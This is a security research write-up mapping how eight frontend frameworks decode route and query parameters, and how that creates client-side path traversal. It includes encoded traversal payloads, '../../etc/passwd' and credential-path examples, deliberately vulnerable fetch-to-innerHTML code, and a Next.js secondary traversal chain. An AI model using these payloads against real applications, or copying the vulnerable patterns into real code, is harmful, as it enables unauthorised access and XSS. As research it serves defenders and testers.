The Dot-Dot-Slash That Frameworks Hand You: CSPT Across Every Major Frontend Framework
How I mapped the decoding pipelines of 8 frontend frameworks and found that every single one gives attackers traversal primitives
Client Side Path Traversal (CSPT) is my favorite gadget. It’s a client-side attack primitive that lets you bypass frontend route guards and control the location of the api call. It is a great primitive for CSRF. When chained with open redirect or a file upload bug, it can easily lead to XSS. When it works, it feels like magic.
When I first discovered this bug class, I became obsessed with it. I tested for it everywhere I could, even if I didn’t understand the framework or the backend. My testing strategy was to find a path that appeared to be dynamic (like /user/xssdoctor) and add a %2f, %5c, %252f, %255c etc. I would then look at the api calls and see if the encoded slash or backslash was decoded into a path traversal primitive. I would iterate on that with a %2f..%2f or %5c..%5c and so on.
But when it came time to do dynamic analysis and to try to figure out how it really worked, I had trouble. What exactly WAS the CSPT source? How was the dynamic path referenced? Why were the paths SOMETIMES url decoded and other times not?
I got far with this off-the-cuff testing, but I wanted to understand the root cause. So I set out to map the URL decoding pipelines of every major frontend framework. I wanted to see exactly where and how the traversal primitive was being created.
And after spending weeks reading router source code, building lab apps, testing encodings, and cross-referencing GitHub issues across React Router, Next.js, Vue Router, Angular, SvelteKit, Nuxt, Ember, and SolidStart. I can tell you this: the problem is universal, but the exploitation is framework-specific.
Let me walk you through what I found.
Some things to understand
Lets start with the browser. Modern browsers will normalize path traversal payloads. When “https://target.com/path/../second” is entered into the address bar, the browser will resolve the ../ before sending the request to the server. So the request that hits the wire is actually “https://target.com/second”. This is part of the URL specification and it’s not something that frameworks or servers can change. However, URL encoding can be used to bypass this normalization. For example, “https://target.com/path/%2E%2E/second” will be sent to the server as is, and the browser will not resolve the ../ because it’s encoded. Backslash will be normalised to forward slash in the browser. “https://target.com\path” will be normalized to “https://target.com/path” This is NOT the case in query parameters. If you have a URL like “https://target.com/search?q=../admin”, the ../admin is part of the query string and the browser does not normalize it. It will be sent to the server as “https://target.com/search?q=../admin”. This is an important distinction because it means that path traversal payloads can be used in query parameters without worrying about browser normalization, while in the path itself, you need to use encoding tricks to bypass the normalization.
Now let’s talk about frontend frameworks. In multi-page applications, the url path maps directly to a file on the server. So if you have a URL like “https://target.com/admin”, the server will look for a file called “admin.php” or “admin.html” and serve it. In single-page applications (SPAs) built with frontend frameworks, the url path is handled by the frontend router. The router takes the URL from the browser, extracts route parameters, and hands them to developer code.
The backend of these frameworks is often an API. The frontend makes fetch requests to the api and populates the page with the response. The frontend router is responsible for taking the URL, extracting parameters, and then those parameters are often used in API calls. If the router decodes the URL in a way that creates a traversal primitive, then that primitive can be used in the API call.
Client side path traversal occurs when the frontend router uses an element of the path directly and passes it into the fetch request. The question is: when does decoding happen, what gets decoded, and does it ever get re-encoded?
The Sources that we have to focus on are the path itself (/path), the query parameters (/?q=search), and the hash fragment (#section). Each of these can be decoded differently by the framework, and each has different implications for path traversal.
The “sink” is the api request, usually a fetch call. When a path traversal payload is passed into a fetch on the client side, it leads to client side path traversal. When a path traversal payload is passed into a fetch on the server side, it can lead to an even more dangerous scenario of secondary path traversal, potentially allowing access to internal resources.
Encoded path traversal payloads may be normalized on the front or the backend. For example, sending “/path/..%2Fadmin” may be decoded to “/path/../admin” by the frontend router, and then the browser will normalize it to “/admin” before sending the request. Alternatively, the frontend router might pass the encoded value through to the backend, which then decodes it and normalizes it. The exact behavior depends on the framework’s URL decoding pipeline.
So I built lab apps, compiled them, read the minified output, traced the decoding functions, and tested every encoding variant I could think of. Here’s the framework-by-framework breakdown.
Paths
Lets start with the path itself. Specifically, lets think about how these frameworks handle dynamic path segments, like /users/:userId. When you navigate to /users/..%2Fadmin, does userId become ../admin? Does it stay as ..%2Fadmin? Does it become something else entirely?
Frontend Routers
React, vue, angular, ember, and solid are primarily front-end frameworks, so their routers run in the browser. Each use unique pipelines to parse these dynamic paths and allow the developer to reference them later.
React
React Router has the most well-documented decoding pipeline. Paths are handled through the useParams() Function on the client side. Here is the pipeline:
Browser URL (percent-encoded)
↓
decodePath() -- per-segment decodeURIComponent, then re-encodes / back to %2F
↓
compilePath() -- builds regex for route matching
↓
matchPath() -- extracts param values
↓
useParams() -- returns fully decoded params
decodePath() at line 863 is explicitly an anti-CSPT defense. It decodes each segment, then re-encodes any slashes that appeared. This prevents %2F from creating new path segments during route matching.
Then matchPath() at line 811 undoes it:
memo[paramName] = (value || "").replace(/%2F/g, "/");
So /users/%2E%2E%2F%2E%2E%2Fadmin would result in "../../admin". In other words, when the developer requests the dynamic path, that path is already url decoded with slashes intact. If they interpolate that into a fetch URL, the traversal lands:
const { userId } = useParams();
fetch(`/api/users/${userId}/profile`);
// Browser sends: GET /admin/profile
React Router also had a documented double-decode bug (Issue #10814). The pipeline ran two separate decode stages, safelyDecodeURI in matchRoutes() then safelyDecodeURIComponent in matchPath(). So %252F would decode to %2F in the first stage, then to / in the second. Double-encoding bypass, built into the framework’s architecture.
They fixed it, sort of. Standardized on safelyDecodeURIComponent throughout. But the current pipeline still double-decodes through a different mechanism: decodePath() runs decodeURIComponent("%252F") producing "%2F", then line 811’s .replace(/%2F/g, "/") converts that to /. Instead of two calls to decodeURIComponent we now have decode plus string replace. Same outcome: %252F becomes / in your params. The fundamental design hasn’t changed. Params are fully decoded before your code sees them, because developers expect useParams() to return human-readable strings, not URL-encoded gibberish.
| URL Encoding | useParams() Value |
Exploitable? |
|---|---|---|
hello%2Fworld |
hello/world |
YES, slash injected |
%2E%2E%2Fapi%2Fadmin |
../api/admin |
YES, full traversal |
hello%252Fworld |
hello/world |
YES, double decode |
hello%00world |
hello\0world |
YES, null byte passes through |
%C0%AF (overlong UTF-8 /) |
Route fails to match | NO, decodeURIComponent rejects invalid UTF-8 |
../admin (fullwidth Unicode) |
../admin |
NO, no NFKC normalization |
The overlong UTF-8 and Unicode homoglyph bypasses don’t work. decodeURIComponent is strict about UTF-8 validity, and React Router does zero Unicode normalization. But standard percent-encoding, double-encoding, mixed literal-plus-encoded, and null bytes all work fine.
Splat routes (path="files/*") are the most dangerous variant: params["*"] captures across / boundaries with a (.*) regex instead of the ([^\\/]+) used for named params. So ../../admin works with NO encoding tricks at all. The browser will still normalize the URL and resolve the ../, but the traversal primitive is right there in the param value.
Angular
Angular’s URL processing uses SEGMENT_RE = /^[^\/()?;#]+/ to match path segments. This regex treats %2F as three characters (%, 2, F), none of which are in the exclusion set, so %2F stays in a single segment during route matching.
But then decode() runs decodeURIComponent() on each segment AFTER the matching stage, BEFORE the value reaches paramMap. So developers see fully decoded values:
// URL: /users/..%2Fapi%2Fadmin
paramMap.get("userId"); // "../api/admin" (DECODED, slashes are real)
I tested this on Angular 21.2.1 in Chrome. URL /encoding-test/hello%2Fworld gave paramMap.get('testParam') = "hello/world". URL /encoding-test/..%2Fapi%2Fadmin gave "../api/admin".
This makes Angular more exploitable for %2F-based CSPT than React Router or Vue Router for regular dynamic params. In those frameworks, %2F can sometimes break route matching and return a 404. In Angular, the route matches AND the developer gets the decoded slash. The param flows straight through to HttpClient:
ngOnInit() {
this.route.paramMap.pipe(
switchMap(params => {
const userId = params.get('userId'); // "../../admin" (decoded)
const url = `/api/users/${userId}/profile`;
return this.http.get(url);
})
).subscribe(data => this.user = data);
}
Angular also has a non-obvious encoding behavior in router.navigate() that creates a differential between direct URL visits and programmatic navigation. When you pass a value containing % to router.navigate(), Angular’s encodeUriSegment() re-encodes it. % becomes %25. So router.navigate(['/path', '..%2Fadmin']) produces /path/..%252Fadmin in the URL bar. The encoding is not idempotent.
This creates a trap. A developer might reason: “I got ../../admin from queryParamMap, I’ll pass it to router.navigate() to redirect the user.” But router.navigate() encodes the value as a path segment, turning ../../admin into ..%2F..%2Fadmin in the URL. The traversal doesn’t happen through navigate. It happens at the HttpClient sink, where the decoded query param is interpolated directly into a fetch URL before any re-encoding occurs. But router.navigate([redirect]) where redirect comes from a decoded queryParamMap does let an attacker control navigation. That’s an open redirect.
The ** wildcard route deserves a note. Unlike React Router’s splat (*), Angular’s wildcard does not capture sub-paths in a named param. Developers must use router.url (which preserves encoding) or manually parse the URL (which usually means calling decodeURIComponent themselves). The wildcard is architecturally safer than React’s splat for CSPT, but manual URL parsing immediately re-introduces the vulnerability.
Vue
Vue Router v4 is the framework I’d prioritize if I’m hunting for CSPT on a target.
Vue Router maintains two views of every URL, and they have opposite encoding:
const route = useRoute();
// URL: /product/..%2f..%2fadmin
route.params.productId; // "../../admin" (DECODED, slashes are real)
route.path; // "/product/..%2f..%2fadmin" (ENCODED, raw)
This isn’t a bug. It’s a documented design decision. The Vue Router maintainers confirmed in Issue #2953 that slashes are URL separators and must be encoded, but %2F in params arrives decoded because route.params runs through decodeParams() which applies decodeURIComponent().
There’s also a router.push() encoding asymmetry that creates confusion. With a string path, the input is passed through parseURL() as-is. So router.push('/users/../../admin') navigates with literal ../, and the browser resolves the traversal. But with a params object, Vue auto-encodes via encodeParams(). So router.push({ name: 'user', params: { userId: '../../admin' } }) encodes to /users/..%2F..%2Fadmin, which is safe at the navigation level but still decodes back to ../../admin in route.params.
Catch-all routes (/:pathMatch(.*)*) return an array, but the split behavior is important. Only literal / characters create array splits. If you use %2F, it decodes to / inside a single array element, not as a separator. So /files/..%2F..%2Fadmin gives pathMatch = ["../../admin"] (one element), while /files/../../admin gives pathMatch = ["..","..","admin"] (three elements). Either way, .join('/') produces the same traversal string.
Ember
Ember’s decoding pipeline has a key intermediate step that no other framework uses: normalizePath(). Before route matching, every URL segment runs through this function:
// route-recognizer.es.js:100
function normalizePath(path) {
return path.split("/").map(normalizeSegment).join("/");
}
function normalizeSegment(segment) {
if (segment.length < 3 || segment.indexOf("%") === -1) return segment;
return decodeURIComponent(segment).replace(/%|\//g, encodeURIComponent);
}
This splits on /, applies decodeURIComponent() to each segment, then re-encodes only % and / back. So %2e%2e (encoded dots) becomes .. and stays as ... But %2f (encoded slash) becomes / and gets re-encoded back to %2F. The normalization preserves dots but neutralizes slashes for the purpose of route matching.
Then comes findHandler(), which extracts the matched capture groups. For dynamic :param segments, it applies decodeURIComponent() again. For star *param segments, it skips this final decode. This creates two completely different exploitation profiles:
// route-recognizer.es.js:412
for (var j = 0; j < names.length; j++) {
var capture = captures[currentCapture++];
if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS && shouldDecodes[j]) {
params[name] = capture && decodeURIComponent(capture);
} else {
params[name] = capture;
}
}
shouldDecodes[j] is true for dynamic segments, false for star segments. Two segment types, two decoding behaviors, in the same function.
For dynamic :param routes, here’s the trace. URL /users/..%2fadmin:
1. normalizePath splits on /: ["", "users", "..%2fadmin"]
2. normalizeSegment("..%2fadmin"):
decodeURIComponent("..%2fadmin") → "../admin"
re-encode % and /: "../admin" → "..%2Fadmin"
3. Reassembled: "/users/..%2Fadmin"
4. Regex ([^/]+) matches "..%2Fadmin" (no literal slash)
5. findHandler decodes: decodeURIComponent("..%2Fadmin") → "../admin"
6. params.user_id = "../admin"
The traversal payload is delivered. And %2e%2e%2f works identically because normalizePath decodes the dots to .. and the slash gets re-encoded, producing the same ..%2Fadmin intermediate form.
Double-encoding does NOT work in Ember. Here’s why: %252f decodes to %2f during normalization, but then the % in %2f gets re-encoded back to %25 by the .replace(/%|\//g, encodeURIComponent) step, producing %252f again. The segment is back to its original form. findHandler then decodes %252f to %2f — a literal string, not a slash. The normalizePath function’s % re-encoding actually prevents the double-decode attack that works in React Router. This is an accidental defense: the same re-encoding that preserves slashes also preserves the % character, making the normalization idempotent for double-encoded values.
For wildcard *param routes, the picture is different. The regex (.+) captures everything including literal /. So /docs/../../etc/passwd matches and params.doc_path gets "../../etc/passwd" with no encoding tricks needed. But since star segments skip the final decodeURIComponent, %2f in a wildcard stays encoded in the param value. The effective payload for wildcard routes is literal ../, not %2f.
| URL | Dynamic :param Value |
Star *param Value |
Traversal? |
|---|---|---|---|
..%2f..%2fadmin |
../../admin |
..%2F..%2Fadmin |
YES (dynamic), NO (star) |
%2e%2e%2f%2e%2e%2fadmin |
../../admin |
..%2F..%2Fadmin |
YES (dynamic), NO (star) |
%252e%252e%252f |
%2e%2e%2f |
%2e%2e%2f |
NO (normalizePath re-encodes %) |
../../etc/passwd |
N/A (extra segment, no match) | ../../etc/passwd |
NO (dynamic), YES (star) |
hello%2Fworld |
hello/world |
hello%2Fworld |
YES (dynamic), NO (star) |
%C0%AF (overlong UTF-8 /) |
Error, raw preserved | Error, raw preserved | NO |
../ (fullwidth) |
../ (preserved) |
../ (preserved) |
NO |
The overlong UTF-8 and Unicode homoglyph bypasses don’t work. decodeURIComponent rejects invalid UTF-8, and there’s no NFKC normalization anywhere in the pipeline.
SolidStart
SolidStart is the one framework that got this right by accident. Not because the team built anti-CSPT defenses, not because they analyzed the attack surface, but because @solidjs/router simply never calls decodeURIComponent on route params. The router’s createMatcher() stores raw URL segments as-is, and that one missing function call makes it the most resistant framework to encoded path traversal I tested.
The createMatcher() function in @solidjs/router splits location.pathname on / and stores each segment directly into the params object:
// @solidjs/router utils.js:50
return (location) => {
const locSegments = location.split("/").filter(Boolean);
for (let i = 0; i < len; i++) {
const segment = segments[i];
const dynamic = segment[0] === ":";
const locSegment = dynamic ? locSegments[i] : locSegments[i].toLowerCase();
if (dynamic && matchSegment(locSegment, matchFilter(key))) {
match.params[key] = locSegment; // RAW segment, NO decoding
}
}
};
Navigate to /users/..%2f..%2fadmin and params.userId returns "..%2f..%2fadmin". The %2f is still %2f. The dots are still %2e%2e if you encoded them. Nothing has been decoded. If the developer interpolates that into a fetch URL, the browser sends the encoded string to the server, which sees %2f not /. No traversal.
I verified this in Chrome with a SolidStart lab app. /encoding-test/hello%2Fworld gave params.testParam = "hello%2Fworld". /encoding-test/%2E%2E%2Fapi%2Fadmin gave params.testParam = "..%2Fapi%2Fadmin". The dots decoded (browsers decode %2E in the pathname), but the slashes stayed encoded. That’s the critical difference from React Router, where both dots and slashes decode.
There are only two decodeURI/decodeURIComponent calls in the entire @solidjs/router codebase. One is in the <A> component for active link CSS class matching. The other is for scroll-to-hash. Neither is in the routing or param extraction pipeline.
Catch-all routes ([...path]) are the exception. The catch-all captures remaining segments joined with /: locSegments.slice(-lenDiff).join("/"). These slashes are real, they came from the URL path itself. Navigate to /files/a/b/c and params.path = "a/b/c". But here’s the thing: literal ../ in the URL path gets resolved by the browser before JavaScript sees it. /files/../../admin becomes /admin in window.location.pathname. The route won’t even match /files/*path. And encoded ../ (..%2f..%2fadmin) stays encoded in the joined string, so the catch-all gives you "..%2f..%2fadmin" as a single segment, not a traversal.
| URL | useParams() Value |
In fetch() URL |
Traversal? |
|---|---|---|---|
/users/..%2f..%2fadmin |
..%2f..%2fadmin |
/api/users/..%2f..%2fadmin |
NO, stays encoded |
/users/%2e%2e%2f%2e%2e%2fadmin |
%2e%2e%2f%2e%2e%2fadmin |
/api/users/%2e%2e%2f%2e%2e%2fadmin |
NO, stays encoded |
/users/..%252f..%252fadmin |
..%252f..%252fadmin |
/api/users/..%252f..%252fadmin |
NO, stays encoded |
/files/a/b/c (catch-all) |
a/b/c |
/api/files/a/b/c |
NO, normal path |
/files/..%2f..%2fadmin (catch-all) |
..%2f..%2fadmin |
/api/files/..%2f..%2fadmin |
NO, stays encoded |
%C0%AF (overlong UTF-8 /) |
Raw preserved | Raw preserved | NO |
This is a fundamentally different encoding posture than every other framework. React Router, Vue Router, Angular, and Ember all decode params before your code sees them. SolidStart doesn’t.
Hybrid Cases
Nextjs, Nuxt and SvelteKit are hybrid frameworks that run code on both the client and the server. This creates multiple decoding contexts, which can lead to unexpected vulnerabilities if you’re not careful.
Next.js
The first thing to understand about Next.js is that routing starts out on the server. When you navigate to a URL, the server matches it to a page component, runs getServerSideProps() if it exists, and sends the rendered HTML to the client. The client then hydrates that HTML and takes over routing for subsequent navigations. This means initial URL parsing and param extraction happens on the server, not in the browser.
Next.js has two separate routing systems: the App Router and the Pages Router. The App Router is the new system that uses React Server Components and file-based routing. The Pages Router is the older system. Both have their own decoding pipelines, but the App Router is where the interesting behavior lives. More on that later.
Next.js App Router has a function called getParamValue() (in next/dist/shared/lib/router/utils/get-dynamic-param.js) that re-encodes parameters before passing them to page and layout components. If you navigate to /files/thepath%2fbooya, a page component gets thepath%2Fbooya back. The slash is re-encoded. Traversal is neutralized. On the client side, useParams() behaves the same way. Re-encoded, safe.
Nuxt
Nuxt is built on Vue Router, so I expected the client-side behavior to be identical. It is. What makes Nuxt interesting is everything that happens around Vue Router: the server-side H3 layer, the island component system, and the split personality between client and server param decoding.
On the client side, Nuxt inherits Vue Router’s decoding pipeline exactly. useRoute().params values pass through Vue Router’s decodeParams(), which applies decodeURIComponent() to every matched parameter. Navigate to /users/..%2F..%2Fadmin and route.params.id returns "../../admin". The slashes are real. The dots are real. Everything I described in the Vue Router section applies here without modification.
The server side is a different story. Nuxt’s server routes run on H3/Nitro, which has its own param extraction via radix3. The critical function is getRouterParam():
// h3/dist/index.mjs:252
function getRouterParams(event, opts = {}) {
let params = event.context.params || {};
if (opts.decode) {
params = { ...params };
for (const key in params) {
params[key] = decode(params[key]);
}
}
return params;
}
getRouterParam(event, 'id') does NOT decode by default. The decode option must be explicitly passed as { decode: true }. Without it, %2F stays as %2F. This is genuinely safer than Vue Router’s client-side behavior, where decoding is unconditional.
But the safety is opt-out fragile. The moment a developer writes getRouterParam(event, 'id', { decode: true }), or manually calls decodeURIComponent() on the raw param, the traversal is live. And H3’s own documentation shows examples with the decode option enabled.
| URL Path Segment | Client route.params.id |
Server getRouterParam(event, 'id') |
Server with { decode: true } |
|---|---|---|---|
hello%2Fworld |
hello/world |
hello%2Fworld |
hello/world |
..%2F..%2Fadmin |
../../admin |
..%2F..%2Fadmin |
../../admin |
..%252F..%252Fadmin |
..%2F..%2Fadmin |
..%252F..%252Fadmin |
..%2F..%2Fadmin |
%2e%2e%2f%2e%2e%2f |
../../ |
%2e%2e%2f%2e%2e%2f |
../../ |
%00null |
\x00null |
%00null |
\x00null |
Catch-all routes (pages/files/[...slug].vue) compile to Vue Router’s (.*) pattern on the client and radix3’s ** wildcard on the server. On the client, catch-all params return an array of decoded segments. /files/..%2Fbooya/kasha gives route.params.slug = ["../booya", "kasha"]. Joining that array with / produces "../booya/kasha". On the server, event.context.params._ or event.context.params.path returns the raw matched path string without decoding.
Svelte
SvelteKit decodes params through a two-stage pipeline, and unlike Next.js, there is no re-encoding before your code sees them. The result is that %2F in a URL path becomes a real / in your params. This makes SvelteKit exploitable from path params, more like React Router and Vue Router than Next.js.
The decoding chain has two stages:
Browser URL (percent-encoded)
↓
decode_pathname() -- splits on %25, applies decodeURI() per segment
↓
Route regex match -- ([^/]+?) for single params, ([^]*) for catch-all
↓
decode_params() -- applies decodeURIComponent() to each param value
↓
params.userId -- fully decoded, slashes are real
The key is the two-stage decode. decode_pathname() uses decodeURI(), which does NOT decode /, ?, #, &, =, +. So %2F stays as %2F during route matching. The regex ([^/]+?) sees three literal characters %, 2, F, not a slash. The route matches. Then decode_params() runs decodeURIComponent(), and %2F becomes /. By the time the developer’s code sees the param, the slash is real.
Navigate to /users/..%2Fadmin%2Fsecrets, and params.userId returns "../admin/secrets". If the developer interpolates that into a fetch:
// +page.ts (universal load function)
export async function load({ params, fetch }) {
const res = await fetch(`/api/users/${params.userId}/profile`);
// fetch URL: /api/users/../admin/secrets/profile
// Browser resolves: GET /api/admin/secrets/profile
return { user: await res.json() };
}
This is true CSPT. The traversal happens at the fetch layer, not on the server. On client-side navigation, the browser’s native fetch() resolves the ../ before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.
The one area where SvelteKit IS genuinely more secure than React Router is double-encoding. decode_pathname() splits on %25 (encoded %) before decoding, which prevents %252F from round-tripping to /. Here’s the trace:
Input: %252F
Split on %25: ["", "2F"]
decodeURI("") → ""
decodeURI("2F") → "2F"
Rejoin with %25: "%252F"
decode_params("%252F") → "%2F" (string literal, NOT a slash)
React Router’s pipeline converts %252F to / through its decode-then-replace mechanism. SvelteKit’s %25-split was introduced specifically to fix a documented double-decode bug (Issue #3069), where this.parse(url) decoded the URL first, then decodeURIComponent() ran again during param extraction. Fixed in v1.0.0-next.385.
Catch-all routes ([...path]) have a unique quirk in SvelteKit: they return a string, not an array. /files/a/b/c gives params.path = "a/b/c". Vue Router returns ["a", "b", "c"]. The string form means no .join('/') is needed. Traversal sequences work natively when interpolated into fetch URLs.
Query Parameters
Query parameters are a rich cspt attack surface that often gets overlooked. They don’t have the same segment boundary protections as path params, and many frameworks decode them fully before your code sees them. Query params have a bigger attack surface than path params because there’s no segment splitting. The entire value arrives as one decoded string. And since query params don’t trigger browser path normalization, you can use literal ../ without any encoding at all: /dashboard/stats?widget=../../attachments/malicious works just fine. However, encoding may help with waff bypasses or other filters that look for traversal patterns.
React
useSearchParams() returns decoded values. The browser handles the decoding before JavaScript sees the value, so ?widget=..%2F..%2Fattachments%2Fmalicious gives you widget = "../../attachments/malicious". There is no re-encoding, no sanitization, nothing between the decoded value and your code.
Query parameters are actually a bigger attack surface than path params for one reason: there’s no segment boundary. With path params, the router splits on / first, so your payload has to survive inside a single segment. With query params, there’s no splitting at all. The entire value ../../api/internal/users lands as one decoded string, slashes and all. You don’t need any encoding tricks either, because the browser doesn’t normalize ../ in query strings the way it does in paths.
Next.js
useSearchParams() on the client side returns decoded values. Navigate to /dashboard/stats?widget=../../attachments/malicious and searchParams.get("widget") returns "../../attachments/malicious". The slashes are real. The dots are real.
This is the one area where Next.js page components ARE vulnerable to client-side CSPT. The path param re-encoding defense only applies to path params accessed through await params or useParams(). Query params go through the browser’s standard URLSearchParams, which decodes everything. If a developer reads a query param and interpolates it into a fetch URL, the traversal works exactly the same as in React Router.
Vue
route.query is decoded the same way as route.params. Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and route.query.widget returns "../../attachments/malicious". The %2F has been decoded to a real slash.
angular
Query parameters are an even bigger CSPT surface in Angular than path params. The router decodes them via decodeQuery(), which replaces + with %20 then calls decodeURIComponent. Query values are matched by /^[^&#]+/. They stop at & or # but NOT at /. So ?path=../../admin flows through without any segment splitting to worry about.
This is significant because path params at least have the segment-matching stage as a gate. Angular splits on literal / first, so your payload has to survive inside a single segment. Query params have no such constraint. The entire value ../../api/internal/users lands in queryParamMap.get('path') as one decoded string, slashes and all.
Svelte
url.searchParams in SvelteKit load functions is standard URLSearchParams, which means it decodes everything. ?widget=..%2Fattachments%2Fmalicious gives you "../attachments/malicious". The %2F has been decoded to a real slash.
On the client side, $page.url.searchParams.get('widget') behaves the same way. Decoded. Slashes are real. No segment boundary constraints. And since query params don’t trigger browser path normalization, literal ../ works without encoding.
Nuxt
useRoute().query on the client side is decoded by Vue Router’s parseQuery(). Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and route.query.widget returns "../../attachments/malicious". Same as standalone Vue Router. One quirk: + is NOT converted to a space. Vue Router treats + as a literal character, unlike the standard URLSearchParams behavior.
On the server side, H3’s getQuery(event) uses the ufo library, which does decode query values. So ?widget=..%2Fadmin gives { widget: "../admin" } on both client and server. Query params are decoded everywhere in Nuxt.
Ember
Query parameters in Ember are declared on the route or controller via the queryParams property. They arrive in the model(params) hook alongside path params. Route-recognizer strips the query string before route matching and parses it separately. The values are decoded by the browser’s standard query parsing.
Navigate to /dashboard/stats?period=../../admin and params.period returns "../../admin". The traversal is in the decoded value. Like every other framework, query params have no segment boundary constraint, so the full traversal string lands as one value.
SolidStart
useSearchParams() returns values decoded by the browser’s standard URLSearchParams, which calls decodeURIComponent on every value per spec. Navigate to /dashboard/stats?source=..%2f..%2fadmin and searchParams.source returns "../../admin". The slashes are real.
This is the primary CSPT vector in SolidStart. Path params are safe because the router doesn’t decode them. Query params are decoded because the browser API does it, and the router can’t prevent that. The attack surface shifts entirely from paths to query strings.
Hash
window.location.hash is the simplest source. The browser never encodes or decodes the hash fragment. Whatever you put after the # is exactly what JavaScript sees. Navigate to /dashboard/settings#../../admin/users and window.location.hash.slice(1) gives you "../../admin/users". No encoding tricks needed.
const apiService = {
get: (path) => fetch(`/api${path}`).then((r) => r.json()),
};
const hash = window.location.hash.slice(1);
apiService.get(hash);
// fetch("/api../../admin/users") → browser resolves to GET /admin/users
The Sink
When we talk about the sink, we’re usually talking about fetch(), but it could be any function that takes a URL or path and makes a request. The key point is that if the decoded value from the URL gets interpolated directly into a fetch URL, the browser will resolve any ../ sequences before sending the request. This is true for both client-side navigation and server-side rendering contexts. If a path traversal payload reaches client-side fetch, this leads to CSPT, if it reaches server-side fetch, it can lead to secondary-context path traversal.
React
The sink in React Router apps is almost always fetch() or a library wrapper around it like Axios. The decoded param gets interpolated into a template literal, and the browser resolves the ../ before sending the request.
The most dangerous combination is when the fetch response flows into dangerouslySetInnerHTML. This turns CSPT into XSS. If the attacker can control what endpoint the fetch hits, and that endpoint returns HTML (like a user-uploaded attachment), then the HTML gets rendered directly into the DOM:
const [params] = useSearchParams();
const widget = params.get("widget");
fetch(`/api/widgets/${widget}`)
.then((r) => r.text())
.then(setHtml);
// later in JSX:
<div dangerouslySetInnerHTML= />;
Navigate to /dashboard/stats?widget=../../attachments/malicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If that attachment is an HTML file the attacker uploaded, you’ve got stored XSS through CSPT.
The only safe source in React Router is useLocation().pathname, which preserves %2F encoding. Everything else decodes.
Next.js
Unlike getParamValue, await params has split behavior depending on where you call it. Page components, layout components, and useParams() all go through getParamValue(), which re-encodes. Route handlers skip that function entirely. In a route handler, await params receives decoded values directly from getRouteMatcher(), which does match.split('/').map(decode). The framework uses the same API in both contexts but applies completely different encoding behavior under the hood. The same API name, two opposite behaviors.
| Context | %2F in URL |
What await params returns |
CSPT? |
|---|---|---|---|
| Page server component | /files/a%2Fb |
["a%2Fb"] (re-encoded) |
Safe |
| Route handler | /api/content/a%2Fb |
["a", "b"] (decoded to /) |
Exploitable |
useParams() (client) |
/files/a%2Fb |
"a%2Fb" (re-encoded) |
Safe |
Why does this matter? Because the common Next.js pattern is a page component that reads params and passes them to a client component, which fetches to a route handler. The page component does nothing wrong. It doesn’t decode anything. But the re-encoded %2F in the fetch URL gets sent to the route handler, and the route handler’s await params decodes it automatically before the developer’s code ever touches it. The developer never opted into decoding. It’s just how route handler param parsing works.
Here’s the attack chain:
1. Attacker navigates to:
/cspt-await-params/docs/getting-started/..%2F..%2Finternal%2Fcredentials
2. Page server component reads await params:
path = ["docs", "getting-started", "..%2F..%2Finternal%2Fcredentials"]
// Re-encoded. %2F stays %2F, safe at this layer
3. Page joins and passes to client component:
filePath = "docs/getting-started/..%2F..%2Finternal%2Fcredentials"
4. Client component fetches:
fetch(`/api/content/${filePath}`)
// Browser sends: GET /api/content/docs/getting-started/..%2F..%2Finternal%2Fcredentials
5. Route handler reads await params:
path = ["docs", "getting-started", "..", "..", "internal", "credentials"]
// DECODED. %2F became / and split into separate array elements
6. Route handler joins:
path.join("/") → "docs/getting-started/../../internal/credentials"
// Path traversal is now live
This is not client side path traversal. This is secondary context path traversal. The encoded path is sent to the server, which decodes it and passes the decoded value into a backend fetch. This is potentially more impactful because the server often has access to internal resources that the client does not. If the route handler is fetching from an internal API or reading from the filesystem, the traversal primitive could reach sensitive data.
// app/api/content/[...path]/route.ts
export async function GET(request, { params }) {
const { path } = await params;
// path is ALREADY decoded: ["docs", "getting-started", "..", "..", "internal", "credentials"]
const fullPath = path.join("/");
// "docs/getting-started/../../internal/credentials"
return fetch(`https://backend.internal/${fullPath}`);
}
Vue Router
The result is the most exploitable param-to-fetch pipeline of any framework:
const route = useRoute();
const { data } = useFetch("/api/products/" + route.params.productId);
// fetch goes to /api/products/../../admin → /api/admin
The most dangerous pattern is when the fetched response flows into v-html, which is Vue’s equivalent of React’s dangerouslySetInnerHTML. This turns CSPT into XSS:
// query param decoded: widget = "../../attachments/malicious"
const url = `/api/widgets/${widget}`;
const res = await fetch(url);
const data = await res.json();
// v-html renders data.body directly into the DOM
Navigate to /dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious and the fetch hits /api/attachments/malicious instead of /api/widgets/.... If the attacker uploaded an HTML file as an attachment, v-html renders it and the script executes.
The only safe sources in Vue Router are route.path and route.fullPath, which preserve %2F encoding. Everything else decodes.
Angular
The sink in Angular apps is HttpClient.get() (or .post(), .put(), etc.). The decoded param gets interpolated into the URL string, and the browser resolves the ../ before sending the request.
The most dangerous combination is when the HttpClient response flows into [innerHTML] with bypassSecurityTrustHtml(). Angular sanitizes [innerHTML] by default, but bypassSecurityTrustHtml() explicitly disables that protection. This is Angular’s equivalent of React’s dangerouslySetInnerHTML, and it turns CSPT into XSS the same way.
| Source | Decoded? | Sink | Risk |
|---|---|---|---|
paramMap.get() |
YES, decode() calls decodeURIComponent |
HttpClient.get(url) |
High |
paramMap.pipe(switchMap(...)) |
YES, same decode, Observable pattern | HttpClient.get(url) |
High |
queryParamMap.get() |
YES, decodeQuery() decodes |
HttpClient.get(url) |
High |
queryParamMap.get() |
YES | router.navigate([value]) |
High (open redirect) |
snapshot.paramMap.get() |
YES, same decode pipeline | HttpClient.get(url) |
High |
Route Resolver paramMap |
YES, decoded before resolver runs | HttpClient.get(url) |
High |
queryParamMap.get() |
YES | HttpClient + bypassSecurityTrustHtml + [innerHTML] |
Critical |
router.url |
NO, preserves %2F encoding | any | Safe |
The only safe Angular source for URL-derived values is router.url.
SvelteKit
On client-side navigation, the browser’s native fetch() resolves the ../ before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.
But the real escalation in SvelteKit is +page.server.ts. Server-only load functions execute with internal network access and can reach services the client cannot:
// src/routes/data/[dataId]/+page.server.ts
export const load = async ({ params }) => {
const dataId = params.dataId; // decoded, traversal payload arrives here
